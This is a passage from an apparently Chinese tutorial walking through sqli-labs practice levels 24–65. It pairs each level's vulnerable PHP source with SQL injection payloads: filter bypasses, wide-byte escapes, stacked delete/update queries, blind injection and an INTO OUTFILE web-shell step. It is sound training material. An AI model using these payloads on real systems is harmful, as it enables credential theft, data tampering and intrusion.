| POST | 二次注入 | id=’$id’ |
源码分析:
这一关的界面复杂一些:

首先,主页是一个输入用户名和密码的登录框,一个提交按钮,如果正确登录成功,否则登录失败;
其次,左下角是忘记密码选项,对应forgot_password.php文件,需要cookie会话里有Auth参数;
如果忘记密码界面成功,则对应logged-in.php文件;
右下角是是新建用户表单,对应login_create.php文件;
登录后的信息显示,对应的是new_user.php文件;
如果失败,则对应failed.php文件;
创建新用户的页面源码分析:
if (isset($_POST['submit'])) //提交的数据被转义
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
$sql = "select count(*) from users where username='$username'";//查询当前用户的信息
if(true) //两次密码都一致
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";//插入到数据库中
//回到首页
else
//两次密码不一致
登录页面login.php源码分析:
//提交的用户名和密码都被过滤了
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
密码修改页面pass_change.php源码分析:
if (!isset($_COOKIE["Auth"])) //检测到未登录
{
if (!isset($_SESSION["username"]))
{
header('Location: index.php');//重定向到首页
}
header('Location: index.php');
}
if (isset($_POST['submit'])) //如果提交表单
{
$username= $_SESSION["username"];//获取用户名
//提交的密码被过滤
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if(true) //如果两次密码一致
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; //直接将username参数拼接到SQL语句
else
header('Location: failed.php'); //密码不一致,重定向到首页
}
从代码的角度来看,所提交的数据貌似都被过滤了,那么引入一种新的注入方式:二次注入。
二次注入的原理:攻击者向目标数据库插入了经过转义的恶意数据,应用程序在后续的SQL操作时读取这些恶意数据,在没有再次验证的情况下,直接将其拼接到新的SQL查询语句中,从而触发攻击的操作。也就是说,第一次插入的恶意数据并没有危害,而是通过其他SQL语句调用的时候才会触发攻击行为。
危险字符虽然被转义了,但是插入到数据库的恶意数据还是不变的。
演示流程
首先创建一个用户,用户名以admin’#开头的就可以,密码随便输入:

查询数据库users表,可以看到数据插入进来了:

这里的单引号被转义成了\’,但是不影响数据的插入,然后登录刚才注册的用户修改密码:

然后你就会发现admin用户的密码被改掉了:

4.5 Less-25
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注 | id=’$id’ |
源码分析:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
$id= blacklist($id); //过滤了or和and
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //单引号闭合
if(true)
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
else
print_r(mysql_error());
虽然or和and都被过滤了,但是也是可以绕过的,下面是常用的两种方法:
4.5.1 双写嵌套绕过
//password——>passwoorrd
//separator——>separatoorr
?id=-1'+union+select+1,2,(select+group_concat(username,0x3a,passwoorrd+separatoorr+0x3c62723e) from+users)-- -
4.5.2 符号替换绕过
or——>||
and——>&&
?id=1'+||+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))-- -
4.6 Less-25a
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、布尔盲注、时间盲注 | id=$id |
源码分析
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
$id= blacklist($id); //过滤了or和and
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; //单引号闭合
if(true)
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
else
//print_r(mysql_error());
源码中闭合方式不是单引号了,而且报错信息也不能输出了,其他注入方式和Less-25一样,只是不支持报错注入了。
4.7 Less-26
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注 | id=’$id’ |
源码分析
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if(true)
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
else
print_r(mysql_error());
通过源码可以看到,过滤的字符有点多,但都是可以绕过的:
| 过滤字符 | 绕过方式 |
| or、and | 双写嵌套、||或&& |
| 注释符#、– | 闭合 |
| 空格 | %0b(Tab键垂直) |
4.7.1 联合查询注入
?id=100'%0bunion%0bselect%0b1,(select%0bgroup_concat(username,0x3a,passwoorrd%0bseparatoorr%0b0x3c62723e)%0bfrom%0busers),3%0baandnd%0b'1'='1
4.8 Less-26a
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、布尔盲注、时间盲注 | id=(‘$id’) |
源码分析:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
if(true)
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
else
//print_r(mysql_error());
闭合方式变成了’),不能使用报错注入了,其他注入方式和Less-26一样。
4.9 Less-27
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注 | id=’$id’ |
源码分析:
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
源码中在Less-26的基础上过滤了select大小写、union的大小写,and和or没有绕过,但还是可以绕过,比如大小写混写、双写嵌套等绕过,直接看演示注入吧:
?id=66'%0buunionnion%0bseLect%0b1,(seLect%0bgroup_concat(username,0x3a,password%0bseparator%0b0x3c62723e)%0bfrom%0busers),3%0band%0b'1
4.10 Less-27a
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、布尔盲注、时间盲注 | id=”$id” |
源码分析
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if(true)
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
else
//print_r(mysql_error());
本关的闭合方式由Less-27的单引号变成了双引号,报错注入也不能使用了,其他注入方式和Less-27一致。
4.11 Less-28
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、布尔盲注、时间盲注 | id=(‘$id’) |
源码分析,这里直接看关键代码:
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
//print_r(mysql_error());
源码中过滤了union select,可以使用双写嵌套绕过,其他的过滤规则和Less-27一致,闭合方式也改成了(‘$id’),其他注入方式同Less-27,联合查询注入:
?id=66')%0Auniunion%0Aselect%0A1,(select%0Agroup_concat(username,0x3a,password%0Aseparator%0A0x3c62723e)%0Afrom%0Ausers),3%0Aand('1=1
4.12 Less-28a
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、布尔盲注、时间盲注 | id=(‘$id’) |
源码分析
$id= preg_replace('/union\s+select/i',"", $id); //只剩这一条过滤规则
只有union select这一条过滤规则了,注入方式同Less-27-28,这里演示一下联合注入:
?id=66')+uniunion+select+1,2,(select+group_concat(username,0x3a,password+separator+0x3c62723e) from+users)-- -
4.13 Less-29
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注 | id=’$id’ |
本关有三个源码文件,首先看一下index.php:
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if(true)
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
else
print_r(mysql_error());
这index.php的源码和Less-1是一致的,注入方式也和Less-1一致。然后再看login.php文件:
$qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs);//该函数模拟了参数在受到 HPP(HTTP 参数污染)影响时的行为
$id=$_GET['id'];
whitelist($id1);//仅允许输入数字,白名单过滤
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if(true)
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
else
print_r(mysql_error());
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input); //仅数字
if($match)
{
//echo "you are good";
//return $match;
}
else //输入的不是数字
{
header('Location: hacked.php');//重定向到错误页面
//echo "you are bad";
}
}
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);//分割字符串
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2); //截取字符串前2位
if($val=="id") //如果前2位是id
{
$id_value=substr($value,3,30); //截取第3-30位的字符串作为id
return $id_value;
echo "<br>";
break;
}
}
}
hacked.php文件就是一个重定向的错误界面,没有什么可分析的。
主要还是看java_implimentation过滤函数,检测到id的时候会返回并结束运行:
return $id_value;
该函数只会检测遇到第一个id,那么如果构造2个id就可以绕过这个检测机制,那么构造联合查询注入:
login.php?id=1&id=-1'+union+select+1,2,(select+group_concat(username,0x3a,password+separator+0x3c62723e)+from+users)-- -
4.14 Less-30
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注 | id=”$id” |
源码分析
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
闭合方式改成了双引号,注入方式和Less-29一致。
4.15 Less-31
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、布尔盲注、时间盲注 | id=(“$id”) |
源码分析
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";
闭合方式改成了(“$id”),注入方式同Less-29一致。
4.16 Less-32
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注 | id=’$id’ |
源码分析
function check_addslashes($string)
{
//过滤规则:在' " \字符前加反斜杠转义
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
宽字节注入原理:利用GBK是双字节编码的特性,以绕过Web应用对SQL语句中单引号(')的转义字符(\)过滤。也就是说,函数执行转义操作时,,会与前一个字节组合成一个汉字,例如%df%5c就是一个 汉字,绕过过滤函数中的反斜杠转义规则。
本关的拼接方式是‘$id’,那我们要做的就是绕过\’中的\,过滤的原理是\’会被解析为%5c%27,所以在前面添加%df,就形成了%df%5c%27,GBK编码会把%df%5c解析成汉字,而保留了%27。具体的联合查询注入绕过方式:
?id=-1%df'+union+select+1,2,(select+group_concat(username,0x3a,password+separator+0x3c62723e) from+users)-- -
还有一种方法就是编码转换,将 utf-8 转换为 utf-16 或 utf-32,联合注入的payload如下:
?id=-1�'+union+select+1,2,(select+group_concat(username,0x3a,password+separator+0x3c62723e) from+users)-- -
4.17 Less-33
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注 | id=’$id’ |
闭合方式和Less-32是一致的,过滤规则有点区别,看一下源码分析:
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
源码中直接使用了addslashes函数,作用就是返回在预定义字符之前添加反斜杠的字符串。貌似和Less-32的过滤规则一样,注入方式参考Less-32。
4.18 Less-34
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 联合、报错、布尔盲注、时间盲注 | uname=’$uname’ |
源码分析:
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
这里和Less-33一样,只不过请求方式由GET变成了POST,看一下联合注入:
uname=admin%df' union select 1,(select group_concat(username,0x3a,password separator 0x3c62723e) from+users)#&passwd=123
还有一种方法就是编码转换,将 utf-8 转换为 utf-16 或 utf-32,联合注入的payload如下:
uname=�' union select 1,(select group_concat(username,0x3a,password separator 0x3c62723e) from+users)#&passwd=123
4.19 Less-35
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注 | id=$id |
源码分析:
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
$id=check_addslashes($_GET['id']);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
本关和Less-33关的过滤方式一样,不过闭合方式是数字型注入,过滤了个寂寞,注入方式同Less-2。
4.20 Less-36
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注 | id=’$id’ |
源码分析:
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
$id=check_quotes($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
mysql_real_escape_string函数和addslashes函数的功能基本类似,注入方式参考Less-32。
4.21 Less-37
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 联合、报错、布尔盲注、时间盲注 | uname=’$uname’ |
源码分析
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
过滤方式和Less-36一样,请求方式由GET变成POST,注入方式同Less-34一致。
5. 堆叠注入
堆叠注入的原理:利用在一条SQL语句执行结束之后(分号;结尾),在;之后插入恶意的SQL语句。大白话就是执行多条SQL语句,比之前的几种注入方式更加灵活,可以执行任意SQL语句。
但是,堆叠注入的缺点也比较突出,SQL查询语句通常只返回第一条查询的结果,而后面的查询语句则会被忽略掉,仍然可以运行insert、update、delete语句。
5.1 Less-38
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注、堆叠注入 | id=’$id’ |
源码分析:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
printf("Your Username is : %s", $row[1]);
printf("Your Password is : %s", $row[2]);
else
print_r(mysqli_error($con1));
源码中可以看到,发现和之前的关卡逻辑基本一致,不同的是由mysql_query函数变成了mysqli_multi_query函数,该函数用于在数据库中执行一个或多个以分号分隔的 SQL 查询。它会返回一个 mysqli_result 对象,用于后续处理查询结果,所以就构成了堆叠注入。
5.1.1 insert插入数据
?id=1';insert into users(username,password) values ('peiqi','123456');
5.1.2 update更新数据
?id=1';update users set password="111111" where username="peiqi";
5.1.3 delete删除数据
?id=1';delete from users where username="peiqi";
5.2 Less-39
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注、堆叠注入 | id=$id |
源码分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
闭合方式由id=’$id’改成了id=$id,注入方式同Less-38一致。
5.3 Less-40
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、布尔盲注、时间盲注、堆叠注入、二次注入 | id=(‘$id’) |
源码分析:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
//print_r(mysqli_error($con1));
闭合方式是(‘$id’),注入方式同Less-38一致,只是少了报错注入;还有同Less-24一致的二次注入场景。
5.4 Less-41
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、布尔盲注、时间盲注、堆叠注入 | id=$id |
源码分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if(true)
printf("Your Username is : %s", $row[1]);
printf("Your Password is : %s", $row[2]);
else
//print_r(mysqli_error($con1));
闭合方式由还是id=$id,也没有报错注入,其他注入方式同Less-38一致。
5.5 Less-42
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 联合、报错、布尔盲注、时间盲注、堆叠注入、二次注入 | login_password=1′ |
这一关和Less-42的场景一致,但是不能直接新建用户和忘记密码。
login.php源码分析:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);//用户名被转义
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
if(true) //查到信息
return $row[1];
else
print_r(mysqli_error($con1));
if (!$login== 0) //登录成功
{
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
header('Location: logged-in.php');//跳转到该该页面
}
登录成功以后就显示修改密码的表单,pass_change.php源码分析:
if (!isset($_COOKIE["Auth"])) //如果未登录
{
if (!isset($_SESSION["username"]))
{
header('Location: index.php'); //跳转到首页
}
header('Location: index.php');
}
if (isset($_POST['submit'])) //如果提交了修改密码的表单
$username= $_SESSION["username"]; //拿到用户名
//密码都被进行了转义
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if(true) //两次密码输入一致
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";//进行修改密码的操作
首先login.php界面username被过滤,但是password没有,可以进行报错注入和盲注拿到账号密码,或者使用堆叠注入也可以,然后修改密码的界面又支持二次注入。
5.5.1 联合查询注入
login_user=admin&login_password=1' union select 1,(select group_concat(username,0x3a,password separator 0x3c62723e) from users),3#&mysubmit=Login
注入成功后跳到了修改密码的页面,顺便带着查询的用户名和密码。
5.6 Less-43
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 联合、报错、布尔盲注、时间盲注、堆叠注入、二次注入 | login_password=1′) |
源码分析
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
闭合方式是login_password=1′),注入方式和Less-42一致。
5.7 Less-44
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 联合、布尔盲注、时间盲注、堆叠注入、二次注入 | login_password=1′) |
源码分析
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
本关和Less-42闭合方式一致,只是不能使用报错注入,其他注入方式同Less-42一致。
5.8 Less-45
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 联合、布尔盲注、时间盲注、堆叠注入、二次注入 | login_password=1′) |
源码分析
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
闭合方式同Less-43一致,只是不能使用报错注入,其他注入方式同Less-43一致。
5.9 Less-46
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 报错、布尔盲注、时间盲注 | order by $sort |
源码分析
$id=$_GET['sort']; //获取sort参数
$sql = "SELECT * FROM users ORDER BY $id"; //带入order by语句中
if(true)
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
else
print_r(mysql_error());
这里就不能使用联合查询注入了,只能使用报错注入和盲注,order by是SQL中用于对查询结果按指定列进行排序的子句,注入方式则更加简单和灵活。
5.9.1 注入点测试
//测试排序
?sort=1 //升序,等同于?sort=1+asc
?sort=1+desc //降序
//测试rand函数,随机排序结果
?sort=rand()
?sort=rand(true)
?sort=rand(false)
//延时测试
?sort=(sleep(1))
?sort=1 and sleep(1)
5.9.2 报错注入
//报错注入1:floor版本
?sort=1+and+(select+1+from (select+count(*),concat(user(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
//报错注入2:limit版本
?sort=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(username,password)+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
//报错注入3:extractvalue版本
?sort=1+and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))
//报错注入4:updatexml版本
?sort=1+and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))
5.9.3 布尔盲注
//数据库的第一个字母的ASCII码是115
?sort=rand(ascii(substr(database(),1,1))>114)
?sort=rand(ascii(substr(database(),1,1))>115)
5.9.4 时间盲注
//数据库的第一个字母的ASCII编码为115
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
5.9.5 获取getshell
//1.首先导出查询结果到文件,需要开启数据库导入导出权限,设置secure-file-priv属性,值为路径
?sort=1 into outfile "your_path/less46.txt"
//2.利用导出文件getshell,后面这一大串是<php phpinfo();>的Hex编码
?sort=1 into outfile "your_path/less46.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
//3.然后直接访问less46.php文件就能看到php的信息了
5.10 Less-47
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 报错、布尔盲注、时间盲注 | order by $sort’ |
源码分析
$sql = "SELECT * FROM users ORDER BY '$id'";
闭合方式变成了‘$sort’,注入方式同Less-46一致。
5.11 Less-48
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 布尔盲注、时间盲注 | order by $sort |
源码分析
$sql = "SELECT * FROM users ORDER BY $id";
//print_r(mysql_error());
闭合方式和注入方式与Less-46一致,就是少了报错注入。
5.12 Less-49
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 布尔盲注、时间盲注 | order by $sort’ |
源码分析
$sql = "SELECT * FROM users ORDER BY '$id'";
//print_r(mysql_error());
闭合方式和注入方式同Less-47一致,就是少了报错注入。
5.13 Less-50
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 报错注入、布尔盲注、时间盲注、堆叠注入 | order by $sort |
源码分析
$sql="SELECT * FROM users ORDER BY $id";
if (mysqli_multi_query($con1, $sql))
printf("%s", $row[0]);
printf("%s", $row[1]);
printf("%s", $row[2]);
else
print_r(mysqli_error($con1));
源码中又看到了mysqli_multi_query函数,所以支持报错注入和堆叠注入,堆叠注入参考Less-38。
5.14 Less-51
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 报错注入、布尔盲注、时间盲注、堆叠注入 | order by $sort’ |
源码分析
$sql="SELECT * FROM users ORDER BY '$id'";
闭合方式与Less-50不同,注入方式同Less-50一致。
5.15 Less-52
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 布尔盲注、时间盲注、堆叠注入 | order by $sort |
源码分析
$sql="SELECT * FROM users ORDER BY $id";
//print_r(mysql_error());
闭合方式和注入方式同Less-50一致,就是少了报错注入。
5.16 Less-53
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 布尔盲注、时间盲注、堆叠注入 | order by $sort’ |
源码分析
$sql="SELECT * FROM users ORDER BY '$id'";
//print_r(mysql_error());
闭合方式和注入方式同Less-51一致,就是少了报错注入。
6. 进阶注入(Less54-65)
6.1 Less-54
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、布尔盲注、时间盲注 | id=$id’ |
源码分析
$times = 10;
if(!isset($_POST['answer_key'])) //POST方式提交key
if(isset($_POST['reset']))
setcookie('challenge', ' ', time() - 3600000); //生成key
else
if(isset($_COOKIE['challenge'])) //如果存在challenge
{
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else //如果不存在,则在cookie中设置
{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
}
if(isset($_GET['id']))
...
...
if($tryyy >= ($times+1)) //超过重置的次数,重置数据库
...
...
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
if(true) //查询成功
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
else
//print_r(mysql_error());
else //如果已提交answer_key,则过滤
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
从源码中可以看到,基本还是和之前的手法是一样的,单引号拼接、符号转义过滤,新增的限制条件是$times变量,该值为10表示尝试10次以内拿到key,可以使用联合查询那就好办了。
6.1.1 step1 判断闭合
?id=1'-- - //单引号闭合
6.1.2 step2 判断列数
?id=1'+order+by+3-- - //列数为3
?id=1'+order+by+4-- -
6.1.3 step3 判断页面显示点
?id=-1'+union+select+1,2,3-- - //显示点为(2,3)
6.1.4 step4 获取表名
?id=-1'+union+select+1,2,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())-- -
//获取到的表名为rlufcujnxd,每次拿到的都会刷新,都不一样
6.1.5 step5 获取列名
?id=-1'+union+select+1,2,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='rlufcujnxd')-- -
//查询到的列为id,sessid,secret_BMAD,tryy
6.1.6 step6 获取列的数据
?id=-1'+union+select+1,2,(select+group_concat(secret_BMAD)+from+rlufcujnxd)-- -
//获取到的key值为UA9fcv1lp6AlrraujP9SrPnO
6.2 Less-55
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、布尔盲注、时间盲注 | id=($id) |
源码分析
$times= 14; //14次
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
与Less-54相比,多了4次的机会,闭合方式变成了($id),操作步骤和Less-54一致。
6.3 Less-56
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、布尔盲注、时间盲注 | id=($id) |
源码分析
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
闭合方式和Less-54不一样,注入方式同Less-54一致,有14次机会。
6.4 Less-57
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、布尔盲注、时间盲注 | id=”$id” |
源码分析
$id= '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
闭合方式与Less-54不一样,注入方式同Less-54,有14次机会。
6.5 Less-58
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 报错、布尔盲注、时间盲注 | id=’$id’ |
源码分析
$times= 5;//次数改成5
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);//数组逆序
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
print_r(mysql_error());
源码中看出尝试次数$times变成了5,而且unames是固定的静态数组还进行了逆序操作,这样就不能使用联合查询注入,但是还可以进行报错、布尔盲注、时间盲注。报错注入payload示例:
//查询到的表名为:d1mos1eof5
?id=1'+and+(extractvalue(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e)))-- -
//查询到的列名为:secret_ETYD
?id=1'+and+(extractvalue(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='d1mos1eof5'),0x7e)))-- -
//查询到的key为:ZAEEsz8mLeoQnrxj3IxDCFdV
?id=1'+and+(extractvalue(1,concat(0x7e,(select+group_concat(secret_ETYD)+from+d1mos1eof5),0x7e)))-- -
6.6 Less-59
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 报错、布尔盲注、时间盲注 | id=$id |
源码分析
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
本关与Less-58的注入方式一致,闭合方式为$id,即数字型。
6.7 Less-60
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 报错、布尔盲注、时间盲注 | id=(“$id”) |
源码分析
$id = '("'.$id.'")';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
本关与Less-58注入方式一致,闭合方式为(“$id”)。
6.8 Less-61
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 报错、布尔盲注、时间盲注 | id=((‘$id’)) |
源码分析
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
本关与Less-58注入方式一致,闭合方式为((‘$id’))。
6.9 Less-62
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 布尔盲注、时间盲注 | id=(‘$id’) |
源码分析
$times= 130;
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
//print_r(mysql_error());
错误日志关掉了,所以只能使用盲注了,而且尝试次数增加到了130次。
6.10 Less-63
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 布尔盲注、时间盲注 | id=’$id’ |
源码分析
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
本关和Less-52注入方式一致,闭合方式为id=’$id’。
6.11 Less-64
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 布尔盲注、时间盲注 | id=(($id)) |
源码分析
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";
本关和Less-52注入方式一致,闭合方式为id=(($id))。
6.12 Less-65
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 布尔盲注、时间盲注 | id=(“$id”) |
源码分析
$id = '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
本关和Less-52注入方式一致,闭合方式为id=(“$id”)。
7. 总结
总结一下:请求方式就两种:GET和POST,GET类型的注入语句就是跟在URL后面,POST类型就是表单类型的,需要使用BurpSuite或者HackBar工具注入,还有一款sqlmap自动化注入工具,主要用于盲注:
| 请求方式 | 注入方式 | 过滤方式 | 注入点 | 拼接方式 |
